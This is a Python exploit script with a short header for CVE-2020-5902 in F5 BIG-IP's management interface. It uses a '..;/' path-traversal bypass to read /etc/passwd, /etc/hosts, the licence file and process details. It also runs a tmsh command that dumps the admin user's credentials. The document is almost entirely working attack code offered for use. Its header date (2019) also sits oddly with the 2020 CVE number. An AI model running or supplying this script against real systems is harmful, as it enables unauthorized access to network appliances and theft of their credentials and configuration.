F5 Big-IP 13.1.3 Build 0.0.6 – Local File Inclusion
# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion # Date: 2019-08-17 # Exploit Author: Carlos E. Vieira # Vendor Homepage: https://www.f5.com/products/big-ip-services # Version: <= 13.1.3 # Tested on: BIG-IP 13.1.3 Build 0.0.6 # CVE : CVE-2020-5902 #!/usr/bin/env python import requests import sys import time import urllib3 import json urllib3.disable_warnings() global target def checkTarget(): r = requests.head(target + "/tmui/login.jsp", verify=False) if(r.status_code == 200): return True else: return False def checkVuln(): r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd", verify=False) if(r.status_code == 200): data = json.loads(r.text) if(len(data['output']) > 0): return True else: return False else: return False def leakPasswd(): print("[+] Leaking /etc/passwd from server") time.sleep(2) exploit('/etc/passwd') def leakHosts(): print("[+] Leaking /etc/hosts from server") time.sleep(2) exploit('/etc/hosts') def leakLicence(): print("[+] Leaking /config/bigip.license from server") time.sleep(2) exploit('/config/bigip.license') def leakAdmin(): print("[+] Leaking admin credentials from server") time.sleep(2) r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin", verify=False) if(r.status_code == 200): data = json.loads(r.text) if(len(data['output']) > 0 ): print(data['output']) else: print("[X] Admin credentials not found") else: print("[X] Fail to read file") def exploit(file): r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=" + file, verify=False) if(r.status_code == 200): data = json.loads(r.text) print(data['output']) else: print("[X] Fail to read file") def memoryLeak(): print("[!] Leaking tomcat process from server") time.sleep(2) r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline", verify=False) if(r.status_code == 200): data = json.loads(r.text) if(len(data['output'])>0): print("Command: " + data['output']) def main(host): print("[+] Check target...") global target target = "https://" + host check = checkTarget() if(check): print("[~] Target is available") vuln = checkVuln() if(vuln): print("[+] Target is vulnerable!") time.sleep(1) print("[~] Leak information from target!") time.sleep(1) leakPasswd() leakHosts() leakLicence() leakAdmin() memoryLeak() else: print("[X] Target is't vulnerable") else: print("[x] Target is unavailable") if __name__ == "__main__": if(len(sys.argv) < 2): print("Use: python {} ip/dns".format(sys.argv[0])) else: host = sys.argv[1] main(host) |